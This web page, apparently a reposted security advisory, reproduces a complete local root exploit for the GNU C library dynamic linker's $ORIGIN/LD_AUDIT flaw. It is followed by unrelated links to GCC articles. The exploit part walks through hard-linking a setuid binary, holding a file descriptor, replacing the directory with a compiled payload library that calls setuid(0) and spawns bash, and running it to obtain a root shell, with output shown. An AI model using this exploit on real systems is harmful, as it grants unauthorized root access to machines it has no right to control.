GNU C library dynamic linker $ORIGIN expansion Vulnerability

简介: # Create a directory in /tmp we can control. $ mkdir /tmp/exploit    # Li...
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
  
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
  
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
  
# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
  
# Remove the directory previously created
$ rm -rf /tmp/exploit/
  
# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
  
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
  
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="/$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
目录
相关文章
|
C语言 Windows
开源项目推荐:GSL科学计算函数库(GNU Scientific Library),实现VS2019源码编译
开源项目推荐:GSL科学计算函数库(GNU Scientific Library),实现VS2019源码编译
933 0
|
4月前
|
NoSQL 编译器 开发工具
006.gcc编译器
gcc是什么?
47 0
006.gcc编译器
|
5月前
|
存储 NoSQL 算法
从一个crash问题展开,探索gcc编译优化细节
问题分析的过程也正是技术成长之路,本文以一个gcc编译优化引发的crash为切入点,逐步展开对编译器优化细节的探索之路,在分析过程中打开了新世界的大门……
437 1
|
22小时前
|
C语言
gcc的简易用法
【5月更文挑战第10天】gcc的简易用法。
14 8
|
26天前
|
C语言
转载 - gcc/ld 动态连接库和静态连接库使用方法
本文介绍了如何在GCC中实现部分程序静态链接、部分动态链接。使用`-Wl`标志传递链接器参数,`-Bstatic`强制链接静态库,`-Bdynamic`强制链接动态库。
37 0
|
2月前
|
编译器 C语言 C++
列举gcc 常见和有用的编译警告选项
列举gcc 常见和有用的编译警告选项
14 0
|
2月前
|
编译器 C语言
gcc编译警告:warning: suggest parentheses around assignment used as truth value
gcc编译警告:warning: suggest parentheses around assignment used as truth value
27 0